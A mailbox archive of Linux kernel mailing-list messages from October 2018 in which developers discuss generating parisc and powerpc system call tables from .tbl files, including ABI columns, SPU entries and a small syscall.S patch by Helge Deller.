> > On Mon, 8 Oct 2018 at 19:27, Arnd Bergmann <arnd@arndb.de> wrote:
> > > On Mon, Oct 8, 2018 at 3:02 PM Eugene Syromiatnikov <esyr@redhat.com> wrote:
> > > > > > +87      common  swapon                          sys_swapon
> > > > > > +88      common  reboot                          sys_reboot
> > > > > > +89      common  mmap2                           sys_mmap2
> > > > > > +90      common  mmap                            sys_mmap
> > > > > > +91      common  munmap                          sys_munmap
> > > > > > +92      common  truncate                        sys_truncate                    compat_sys_truncate
> > > > > > +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> > > > > > +94      common  fchmod                          sys_fchmod
> > > > > > +95      common  fchown                          sys_fchown
> > > > > > +96      common  getpriority                     sys_getpriority
> > > > > > +97      common  setpriority                     sys_setpriority
> > > > > > +98      common  recv                            sys_recv
> > > > > > +99      common  statfs                          sys_statfs                      compat_sys_statfs
> > > > > > +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> > > > > > +101     common  stat64                          sys_stat64
> > > >
> > > > It is probably worth adding a comment here that syscall 102 was
> > > > socketcall, in order to make reason for this jump in syscall numeration
> > > > self-evident.
> > >
> > > +1
> > >
> > > In general, I'd argue we want to keep all the nontrivial comments that
> > > were present in either unistd.h or syscall_table.S.
> >
> > unistd_32.h, unistd_64.h, syscall_table_32.h, syscall_table_64.h and
> > syscall_table_c32.h
> > are generated files. unistd.h and syscall_table.S file include
> > generated files. I had the
> > support to keep the comments in the generated files.
> >
> > Eg:- from github
> > https://github.com/frzkhn/system_call_table_generator/blob/5fe5fb5a3ad457b234e7600d8a4b61b2e3629acd/ia64/syscall.tbl#L105
> >
> > But I got to know the generated file don't carry any license info and
> > comment section. That's
> > why I removed it from all architecture.
> >
> > I'm ok to keep this support for all architecture. Please feel free to
> > comment here.
>
> I meant just have the comments in the .tbl file, but not act on them.
> One way to do this would be to let the script ignore everything
> past the first '#' character in a line by passing it through 'sed -e "s:#.*$::"'
> or a similar step (there is probably a nicer way to do this with
> shell built-ins).

Sure, I can keep the comments in the .tbl file for all architecture. But
generated file doesn't have the comments.

>
> > > I think this makes more sense, in particular on the other architectures
> > > that have different macro names in some cases. When we do this,
> > > the entries could get compressed to
> > >
> > > 108     32      pread64                         parisc_pread64
> > > 108     64      pread64                         sys_pread64
> > >
> >
> > Sure. I can do this thing. The above one may be applicable for parisc not other
> > architecture. So the scripts might be slightly different. If we keep a
> > standard way,
> > the script will be unique. So the only difference will be Makefile and
> > .tbl files for all
> > architecture; I think that is our one of the goal.
>
> I would expect the above to actually be more important on other
> architectures. E.g. on powerpc:
>
> 291     32    fstatat64        sys_fstatat64      sys_fstatat64
> 291     64    newfstatat     newfstatat
>
> or (simplified)
>
> 291     32    fstatat64        sys_fstatat64
> 291     64    newfstatat     sys_newfstatat

In parisc, I'll go with the above model.

Let me bring another example from powerpc:

syscall_32.tbl,
136     common  personality                     sys_personality
         ppc64_personality   ---> 32-bit, compat (this is the current
model which I implemented)
syscall_64.tbl
136     common  personality                     ppc64_personality
                                       ---> 64-bit

I was wondering if the above table is right, how to arrange like parisc model?
FYI, there are some implement missing for SPU in powerpc

For your reference:
SYSX_SPU(sys_newfstatat,sys_fstatat64,sys_fstatat64)
SYSX_SPU(ppc64_personality,ppc64_personality,sys_personality)

Thanks
Firoz
>
> makes much more sense than
>
> 291     32    fstatat64        sys_fstatat64
> 291     64    newfstatat     newfstatat           sys_fstatat64
>
>         Arnd


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Tue, 9 Oct 2018 13:28:14 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <CAK8P3a343PoH9WNH5ZYkNDTy=-ybGGsmvH9PbaSMmNo0Yob5eA@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-4-git-send-email-firoz.khan@linaro.org> <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
 <20181008130301.GM32759@asgard.redhat.com> <CAK8P3a0eoCVBVOZs0VwybAnUw0OUoW4Z=NJYi8686EHKj076_Q@mail.gmail.com>
 <CALxhOniJZGNCP+Xw_9EF8hnUEG_AWwrnQ86Gbh7vAW6SrE8ykQ@mail.gmail.com>
 <CAK8P3a0D+GUzza--ETrT1NHGduTfFGVoCcSEn5LxvKTtMYisbA@mail.gmail.com> <CALxhOnhCRWsuz-2G-SovjfqkXpsRdTrG5Atz2X8s+T8u=GbUcA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539084392 16878 195.159.176.226 (9 Oct 2018 11:26:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2018 11:26:32 +0000 (UTC)
Cc: Eugene Syromiatnikov <esyr@redhat.com>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 13:26:27 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9q9h-0004Dh-4W
	for glk-linux-kernel-4@m.gmane.org; Tue, 09 Oct 2018 13:26:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726582AbeJISpE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 9 Oct 2018 14:45:04 -0400
Original-Received: from mail-qt1-f195.google.com ([209.85.160.195]:47063 "EHLO
        mail-qt1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726103AbeJISpD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Oct 2018 14:45:03 -0400
Original-Received: by mail-qt1-f195.google.com with SMTP id d8-v6so1079207qtk.13;
        Tue, 09 Oct 2018 04:28:32 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=cPJvOQ+K4pbyPlAR84m0ZeslowgA22uBTgQXusuWas8=;
        b=E7kROk8XlDwUlmq9tKYLdkUlc6NyHP5PANRljUmR3UPIfL3n7s5FweXDL9ZLd7HONL
         zTmiR35Wo69FlgdJodECAydbz1ocmmUoB6WARlI4KGTvd4xzVGClasrBHgGe1dd0Wx/3
         eR8rXHA8NuU+A7ATKVgDY63ltcOqM10BY/yRMifkQa1B4dYlYqr+oK7kM8tOP5KjMbIv
         D4XXfdG9vzKVZo/V4BILMfm0enPgUWVlPszT7isON4vwum0x7UT0y/Q0yIsImAgm/M50
         noj+uJX4klqvr0yKgBO0l4V8+D3Wgf23GfHMfnjKFWxoZ1Yn7KeUbRpJfdKjxG/k68b3
         W+5g==
X-Gm-Message-State: ABuFfojoiTIvBAndus42wW7ffa+Mt6ZMT2NB34qHv9xFYUaAZn+HWsBQ
        cxEoJ2BPqKaJrAaNF+ExWk4KE/xChHF/mxegmeM=
X-Google-Smtp-Source: ACcGV60cYgzx0rbNpBu4fi37E5vKM7pv2/MUo2BFGTVrjG83XUE+YpF46BGO5LP2CAszx3GQvJH4x/R33KhEAmMtAY4=
X-Received: by 2002:aed:366a:: with SMTP id e97-v6mr23266932qtb.75.1539084511502;
 Tue, 09 Oct 2018 04:28:31 -0700 (PDT)
In-Reply-To: <CALxhOnhCRWsuz-2G-SovjfqkXpsRdTrG5Atz2X8s+T8u=GbUcA@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2894310 gmane.linux.ports.parisc:29113 gmane.linux.kernel.year-2038:3475 gmane.linux.kernel.cross-arch:47513
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2894310>

On Tue, Oct 9, 2018 at 11:36 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> On Tue, 9 Oct 2018 at 13:18, Arnd Bergmann <arnd@arndb.de> wrote:
> > On Tue, Oct 9, 2018 at 7:35 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > > On Mon, 8 Oct 2018 at 19:27, Arnd Bergmann <arnd@arndb.de> wrote:
> Let me bring another example from powerpc:
>
> syscall_32.tbl,
> 136     common  personality                     sys_personality
>          ppc64_personality   ---> 32-bit, compat (this is the current
> model which I implemented)
> syscall_64.tbl
> 136     common  personality                     ppc64_personality
>                                        ---> 64-bit
>
> I was wondering if the above table is right, how to arrange like parisc model?

I think this should simply be

136    32 personality sys_personality      ppc64_personality
136    64 personality ppc64_personality

Keeping the contents exactly the same as you have them
in the separate .tbl files, just merging the two files, and
splitting out the differences as 32/64 ABI.

> FYI, there are some implement missing for SPU in powerpc
>
> For your reference:
> SYSX_SPU(sys_newfstatat,sys_fstatat64,sys_fstatat64)
> SYSX_SPU(ppc64_personality,ppc64_personality,sys_personality)

This is a good question. The only difference between SPU and
native 64-bit is that some syscalls are not part of the SPU table
because those syscalls are impossible to implement on SPU.

Maybe we can solve this by allowing multiple comma-separated
ABIs in the table. On powerpc, 'common' would then mean
'32-bit, 64-bit and spu', while you could have various other
combinations:

/* always:32, 64 and SPU */
1 common exit sys_exit

/* 32-bit only call */
76  32    getrlimit      sys_old_getrlimit     compat_sys_old_getrlimit

/* 64-bit only, no SPU */
363 64 switch_endian  sys_switch_endian

/* 32-bit and 64-bit, no SPU */
198 32,64 pciconfig_read  sys_pciconfig_read

/* different pointers */
136    32 personality sys_personality      ppc64_personality
136    64,spu personality ppc64_personality

Would that work for you?

       Arnd


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Tue, 9 Oct 2018 19:40:46 +0530
Lines: 70
Approved: news@gmane.org
Message-ID: <CALxhOnip15ztzMed59M3eKOdqdLJ2y8Yi5OGF3v__zApHzJkBQ@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-4-git-send-email-firoz.khan@linaro.org> <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
 <20181008130301.GM32759@asgard.redhat.com> <CAK8P3a0eoCVBVOZs0VwybAnUw0OUoW4Z=NJYi8686EHKj076_Q@mail.gmail.com>
 <CALxhOniJZGNCP+Xw_9EF8hnUEG_AWwrnQ86Gbh7vAW6SrE8ykQ@mail.gmail.com>
 <CAK8P3a0D+GUzza--ETrT1NHGduTfFGVoCcSEn5LxvKTtMYisbA@mail.gmail.com>
 <CALxhOnhCRWsuz-2G-SovjfqkXpsRdTrG5Atz2X8s+T8u=GbUcA@mail.gmail.com> <CAK8P3a343PoH9WNH5ZYkNDTy=-ybGGsmvH9PbaSMmNo0Yob5eA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539094142 22130 195.159.176.226 (9 Oct 2018 14:09:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2018 14:09:02 +0000 (UTC)
Cc: esyr@redhat.com, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 16:08:56 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9sgw-0005Zn-VY
	for glk-linux-kernel-4@m.gmane.org; Tue, 09 Oct 2018 16:08:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726822AbeJIV2M (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 9 Oct 2018 17:28:12 -0400
Original-Received: from mail-yb1-f195.google.com ([209.85.219.195]:44273 "EHLO
        mail-yb1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726523AbeJIV2M (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Oct 2018 17:28:12 -0400
Original-Received: by mail-yb1-f195.google.com with SMTP id x5-v6so670917ybl.11
        for <linux-kernel@vger.kernel.org>; Tue, 09 Oct 2018 07:11:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=raC50H3i6Rq/gAHAxqx/HZulacRGFaQbhcZ8FwelmBA=;
        b=PvwUgA8hjzgwUOXWCcgbPsVl9pWZA9gZV8ulJi7VJNLX6dhl7qaXUw0WbwO11kla+w
         ixjfYfvtW7rOXT3lMEkPiH0Q37rAtD7yqJGHv8eQOwnD031i60qQWdeZOlWqJnKay/tL
         pobTNJzxRqalWXHPOhRTuWVAf8Om8JmBgdoHA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=raC50H3i6Rq/gAHAxqx/HZulacRGFaQbhcZ8FwelmBA=;
        b=B87M4Ofa49v5Aqo7Bbi87y0eNr3O2DzZVjwqm8r26zP9gfaH1y5p+rOXDTJIZsrVvY
         inC/JpX1W9icgU0PrY3/VfOup2OkkQwXvMeFBqubuI3wtM6Z2WxR4kpnd7dvHgHTJVur
         VqGQmQrmZqusDAqtkER3f+p0wKVrlffiaxgj9WtuKRV3bMy9zkGNIMahj3vbB1pxH8B7
         G4XwbsM2zFbNHcRaNLXdWTdpb5/G5yzDRoQw019NzK3ikpt6uHp6fzByxr6KpB7R99ix
         a21gxi/3IzLu3Nifyr7fgwQZL397R9eGLugCYPuXtLQ6eOm3//pq/1IGjwMbpF53aeHU
         hl2w==
X-Gm-Message-State: ABuFfojrl8pRVBY/f0JUdE1RrwA920ycE58dWbWjoYTbXH6/WcuyZ6sV
        sktQ3GqLUDCYkMPGO52fFUVo8vP/sqRWKLPSEkyylA==
X-Google-Smtp-Source: ACcGV60v7/w3eB+kQ97g4LWUsNzubSOQT0n1AQig+LFYRFwSxy9T/2jff56+8CmyJ17jG8NVjdUGDL0uXJR1c04ao0c=
X-Received: by 2002:a25:b127:: with SMTP id g39-v6mr7812921ybj.483.1539094262749;
 Tue, 09 Oct 2018 07:11:02 -0700 (PDT)
In-Reply-To: <CAK8P3a343PoH9WNH5ZYkNDTy=-ybGGsmvH9PbaSMmNo0Yob5eA@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2894492 gmane.linux.ports.parisc:29114 gmane.linux.kernel.year-2038:3476 gmane.linux.kernel.cross-arch:47548
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2894492>

Hi Arnd,

On Tue, 9 Oct 2018 at 16:58, Arnd Bergmann <arnd@arndb.de> wrote:
>
> On Tue, Oct 9, 2018 at 11:36 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > On Tue, 9 Oct 2018 at 13:18, Arnd Bergmann <arnd@arndb.de> wrote:
> > > On Tue, Oct 9, 2018 at 7:35 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > > > On Mon, 8 Oct 2018 at 19:27, Arnd Bergmann <arnd@arndb.de> wrote:
> > Let me bring another example from powerpc:
> >
> > syscall_32.tbl,
> > 136     common  personality                     sys_personality
> >          ppc64_personality   ---> 32-bit, compat (this is the current
> > model which I implemented)
> > syscall_64.tbl
> > 136     common  personality                     ppc64_personality
> >                                        ---> 64-bit
> >
> > I was wondering if the above table is right, how to arrange like parisc model?
>
> I think this should simply be
>
> 136    32 personality sys_personality      ppc64_personality
> 136    64 personality ppc64_personality
>
> Keeping the contents exactly the same as you have them
> in the separate .tbl files, just merging the two files, and
> splitting out the differences as 32/64 ABI.
>
> > FYI, there are some implement missing for SPU in powerpc
> >
> > For your reference:
> > SYSX_SPU(sys_newfstatat,sys_fstatat64,sys_fstatat64)
> > SYSX_SPU(ppc64_personality,ppc64_personality,sys_personality)
>
> This is a good question. The only difference between SPU and
> native 64-bit is that some syscalls are not part of the SPU table
> because those syscalls are impossible to implement on SPU.
>
> Maybe we can solve this by allowing multiple comma-separated
> ABIs in the table. On powerpc, 'common' would then mean
> '32-bit, 64-bit and spu', while you could have various other
> combinations:
>
> /* always:32, 64 and SPU */
> 1 common exit sys_exit
>
> /* 32-bit only call */
> 76  32    getrlimit      sys_old_getrlimit     compat_sys_old_getrlimit
>
> /* 64-bit only, no SPU */
> 363 64 switch_endian  sys_switch_endian
>
> /* 32-bit and 64-bit, no SPU */
> 198 32,64 pciconfig_read  sys_pciconfig_read
>
> /* different pointers */
> 136    32 personality sys_personality      ppc64_personality
> 136    64,spu personality ppc64_personality
>
> Would that work for you?

At this point, yes. V2 patches for powerpc on my pipeline. I can bring
the above points when I start creating those patches.

Thanks
Firoz
>
>        Arnd


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file
 generation
Date: Tue, 9 Oct 2018 22:13:21 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20181009201321.GA28911@ls3530.fritz.box>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539115890 5401 195.159.176.226 (9 Oct 2018 20:11:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2018 20:11:30 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 22:11:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9yLk-0008Db-Cr
	for glk-linux-kernel-4@m.gmane.org; Tue, 09 Oct 2018 22:11:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727797AbeJJDcL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 9 Oct 2018 23:32:11 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:33327 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726828AbeJJDcL (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Oct 2018 23:32:11 -0400
Original-Received: from ls3530.fritz.box ([92.116.190.11]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LswqM-1fi9aY1vT8-012cJ6; Tue, 09
 Oct 2018 22:13:24 +0200
Original-Received: from ls3530.fritz.box ([92.116.190.11]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LswqM-1fi9aY1vT8-012cJ6; Tue, 09
 Oct 2018 22:13:24 +0200
Content-Disposition: inline
In-Reply-To: <1538975801-13735-5-git-send-email-firoz.khan@linaro.org>
X-Provags-ID: V03:K1:/PWtdBnS8lDeTPmWziQV9OMb06a4zQCtAhKO80BxaVYiDnCf1VI
 zMkH+7ll66aH4M+qesTL2bFBaQa84oXmOkq7+l9/+O8sZQRUD5UqnfGkI4Y8OvlkMgabb1+
 GYAJaL9jEnGzuc8Ul+bGi1/HJGaZmQt3FkBL0mz1liREGrxsizGzoD74byIDO/5++dARlS1
 FaDzvr1xdjJGV8hF1wdrg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:mHUcCajHNrs=:dC0Qg7JRqKXrhgRXm+VQ/c
 UJZynhic4ymOWa+fyQaRZSq7rCr8xdAgjpEFoXhq7og7MFFbr0NmZ83MgreBvp1XISVtsHaVM
 QqluUNapVDNjLZMoga+jFMXnTdr9MOrbCHp+6OSHu9eMziCmOyH3YItfXK0r77Am5NkakuH8p
 rkv0IrbxNTLWesZB+5gIPKHe4X9e41SRKkuUX+zm0NQCOeBSahqYfTP5bgZ7mCa6Z+LeRWr+r
 Ol4/fE/AqJ3bt/y0e/61y3HCWQwyU7CX5R5u3gFzEtQ4QSBCFfmh8v8JVNOn/toeg8uFE8BZR
 NLdCpVrbnmtxH+GupDrchAQwKnE/sT2KD45+oRXwGXnEK2L5Iyxmf1lwFId1LqHwXzbIgGhE9
 vJAgBCQMMiizDyKultuUxJXebXiAa/Xf5bcQ+0PNC2pcfZ0JdwSmxq9soXv/9RZmIXdPxRUT9
 Hy7EyOeyFIo+UEJak/EUPjgb/WPF4I8ondjR5L/5qG2EN0Ct8WZ5EWL6rQLESpqIl86jlQIHY
 LwE1+uEGlp+XgLnCeUG+jigsWRIp8haiSrHEwED6YZTMusSFTanlnk80dRMHwvzK433cFIBTU
 iFzmIg5VI+7k3tOZ7e8yXTkL/vVPlk4cQTKvbELg/YjpGmWor7zBWx0BpmrR9S/LNlhaCawNL
 gsXTLySu3hZ1yBQn3+n0vSJ1eH8TnxpYd2GUHHWkVqh0nwsdsU9c0Q9lwT70qvv7jj/9tXyGp
 nenZBno9BDWiQPOEdQm/Cnz85GKNEcK/8oojbY+b5VfSlKzgjp6wq8Aqu5KGuVwYCQ7zftfH 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2894849 gmane.linux.ports.parisc:29115 gmane.linux.kernel.year-2038:3477 gmane.linux.kernel.cross-arch:47553
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2894849>

* Firoz Khan <firoz.khan@linaro.org>:
> System call table generation script must be run to generate
> unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> will have changes which will invokes the script.
> 
> This patch will generate unistd_32/64.h and syscall_table_
> 32/64/c32.h files by the syscall table generation script
> invoked by arch/parisc/Makefile and the generated files against
> the removed files will be identical.
> 
> The generated uapi header file will be included in uapi/asm/
> unistd_32/64.h and generated system call table support file will
> be included by arch/sparc/kernel/syscall_table_32/64.S file.
> 
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> ---
>  arch/parisc/Makefile                  |   4 +
>  arch/parisc/include/asm/Kbuild        |   3 +
>  arch/parisc/include/uapi/asm/Kbuild   |   2 +
>  arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
>  arch/parisc/kernel/syscall.S          |  12 +-
>  arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------


Can we please get rid of those two new files: 

>  arch/parisc/kernel/syscall_table_32.S |  13 +
>  arch/parisc/kernel/syscall_table_64.S |  20 ++

Both are not needed (at least on parisc) if you apply the following
patch on top of your patch series.
This patch finally fixes the 64-bit kernel on parisc (tested on real
hardware).

Helge

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 2523b83b88d8..45cddeeb968f 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -923,10 +923,20 @@ ENTRY(lws_table)
 END(lws_table)
 	/* End of lws table */
 
-#include "syscall_table_32.S"
+#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
+
+ENTRY(sys_call_table)
+#if defined(CONFIG_64BIT)
+#include <asm/syscall_table_c32.h>	/* compat syscalls */
+#else
+#include <asm/syscall_table_32.h>	/* 32-bit native syscalls */
+#endif
+END(sys_call_table)
+
 #ifdef CONFIG_64BIT
-#define SYSCALL_TABLE_64BIT
-#include "syscall_table_64.S"
+ENTRY(sys_call_table64)
+#include <asm/syscall_table_64.h>	/* 64-bit native syscalls */
+END(sys_call_table64)
 #endif
 
 	/*


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo Bras <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Tue, 9 Oct 2018 22:01:50 -0300
Lines: 42
Approved: news@gmane.org
Message-ID: <CADvQ+rG0wn5_msc5Z_QgqV0+Qvr4kueF32T69qS0UjvHRz+Y+g@mail.gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20180928020816.11251-4-leobras.c@gmail.com>
 <1538118915.3593.4.camel@HansenPartnership.com> <CADvQ+rGQenkoE0xCRTwjA5BuKZbZ2Upkyx=+qWFUGnUcit-aCQ@mail.gmail.com>
 <1538628062.18776.5.camel@HansenPartnership.com> <CADvQ+rG0WQjFTU=A4tAACvqFevw51DX_-yq2-9j78T8pSrjcXQ@mail.gmail.com>
 <765df6c3-0339-ebf3-6446-cef4fc1eb1cc@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539133200 17061 195.159.176.226 (10 Oct 2018 01:00:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Oct 2018 01:00:00 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org
To: schmitzmic@gmail.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 10 02:59:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
